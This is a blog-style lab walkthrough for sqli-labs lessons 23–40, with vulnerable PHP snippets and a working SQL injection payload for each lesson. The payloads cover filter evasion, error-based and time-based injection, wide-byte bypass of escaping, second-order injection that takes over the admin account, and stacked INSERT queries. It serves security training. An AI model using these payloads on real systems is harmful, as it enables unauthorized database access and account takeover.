sqli-labs(lesson23-lesson40)

lesson23

  • 源码sql语句
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

此处在获取id参数时对注释符号#和- -进行了过滤,没办法,只好闭合绕过

?id=-1'union select 1,@@datadir,'5555


此处可以报错注入,延时注入

  • 利用extractvalue()进行报错注入

?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1

lesson24

这关是二次排序注入

二次排序注入

二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。(详细解释晚会发)

    if($pass==$re_pass)
    {   
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注册时过滤也存在问题,假设题目中存在admin账号,通过注册admin'#使得Sql语句变为

UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=' ,

由于#注释掉了后面的语句,这也就相当于我们获得了admin账号

  • 注册一个名为admin'密码为123的账号
  • 原始数据库


  • 注册成功



    可以看到,当前admin账号密码为admin,接下来登陆admin'#,修改密码为666,再查看数据库



    admin密码被成功修改,利用此方法我们拿到了管理员账号,如果是真实的网站发生这种情况,结局就不用多说了吧

lesson25

这一关是or和and过滤

  • or报错注入

?id=1'|| extractvalue(1,concat(0x7e,database()))--+

  • and

?id=2&&1=1--+

lesson25-a

?id=2 aandnd 1=1%23

lesson26


需要绕过对空格的过滤
对于空格的构建方法:

  1. %09 TAB键(水平)
  2. %0a 新建一行
  3. %0c 新的一页
  4. %0d return功能
  5. %0b TAB键(垂直)
  6. %a0 空格
    源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

可以构造如下语句

?id=100'union%0Bselect%A01,2,3)||%271

注意:此方法在Windows下不适用(反正我win10不行,用的是kali Linux才行)据说是因为apache的解析的问题
  • Windows环境下解决思路:
    延迟注入方法

?id=1' %26%26sleep(ascii(mid(database(),1,1))=116)%26%26'1'='1

利用休眠时间判断

-a

屏蔽了26的字符,还给$id加了一对括号

lesson27

  • 方法一:
    与上一关类似,将union和select变为大小写混合即可

?id=100'unIon%a0SelEcT%a01,database(),3||'1

-a

?id=100"%a0UnIon%a0SElecT%a01,user(),"3

  • 方法二:双写大小写union和select
?id=0' UNionUNION%0ASeLectselect%0A1,database(),'1
?id=0' UNionUNION%0ASeLectselect%0A1,(seLect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),'1
?id=0'%0AUNionUNION%0ASeLectselect%0A1,(SeLectselect%0Agroup_concat(username,password)%0Afrom%0Ausers),'1

lesson28

与上关没什么区别

?id=100')union%a0select(1),(user()),(3)||('1

-a

?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%27

  • 方法二:

?id=0' UNionUNION%0ASeLectselect%0A1,database(),'1

lesson29

单引号注入

?id=-2'union select 1,user(),3--+

lesson30

双引号注入

?id=-2"union select 1,user(),3--+

lesson31

在上题基础上加个)

?id=-2")union select 1,user(),3--+

lesson32

上源码

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

构造?id=1、?id=1'、?id=1"都能正常回显


引号可能是被转义了,宽字节注入试试

?id=1%df%27


有错误回显,从其中可以看到被单引号闭合,注释掉后面的查询语句

?id=1%df%27--+


单引号闭合,宽字节注入可绕过

payload:

?id=-1%df%27union%20select%201,user(),3--+

lesson33

payload和上题一样

?id=-1%df%27union%20select%201,user(),3--+

lesson34

源码
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

原理:

post型的注入漏洞,同样的也是将post过来的内容进行了 ' \ 的处理。而之前我们做的get型注入漏洞是以url形式提交的,数据会通过URLencode。在post型注入中我们可以改变注入文字的文字编码,如 ' 转为utf-16为 �'。
  • 用万能密码的方式尝试登陆


  • 登陆成功


  • 此时sql语句为

SELECT username, password FROM users WHERE username='�' or 1=1#' and password='$passwd' LIMIT 0,1
接下来就不用多说了,之前说过

lesson35

和lesson33差不多,区别就是sql语句id没被'"括起来

payload:

?id=-1%20%20union%20select%201,user(),3--+

lesson36

源码
function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

上面的check_quotes()函数是利用了mysql_real_escape_string()函数进行的过滤。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
    但是因mysql我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破。
payload:

?id=-1%EF%BF%BD%27union%20select%201,user(),3--+

lesson37

和lesson34一样,区别在于处理post内容用的是mysql_real_escape_string()函数,但是原理是一样的。


lesson38

  • 学习了关于stacked injection的相关知识,我们在本关可以得到直接的运用。(具体原理以及知识点见下篇文章)
源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 原数据库


直接构造payload:
?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27Wh1te%27,%27hello%27)--+
  • 构造后


lesson39

和上题区别在于sql语句不同

SELECT * FROM users WHERE id=$id LIMIT 0,1

数字型注入

  • 原数据库


payload:
?id=1;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27NYSEC%27,%27niupi%27)--+
  • 构造后


lesson40

sql源码

SELECT * FROM users WHERE id=('$id') LIMIT 0,1
payload:
?id=1%27);%20insert%20into%20users(id,username,password)%20values%20(%27233%27,%27hi%27,%27Wh1te%27)%23

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342

推荐阅读更多精彩内容

  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 7,259评论 0 5
  • MSSQL 跨库查询(臭要饭的!黑夜) 榨干MS SQL最后一滴血 SQL语句参考及记录集对象详解 关于SQL S...
    碧海生曲阅读 5,549评论 0 1
  • LESS-23 SQL语句$sql="SELECT * FROM users WHERE id='$id' LIM...
    BerL1n阅读 1,845评论 0 2
  • 对面有趣的灵魂 秦砖汉瓦,残简 亘古印刻的文字啊 我有个不成熟的小建议 红着脸、赤着脚、说出来 花白鬓角写不尽文斐...
    喵咪薄荷糖喵阅读 253评论 2 10
  • 路上的堵车事故,犹如我们人生经历中的一段缩影。无论是与行驶中对方相碰,还是作为一个车队中队友原因使前行受阻。我们的...
    闻诌诌阅读 326评论 0 0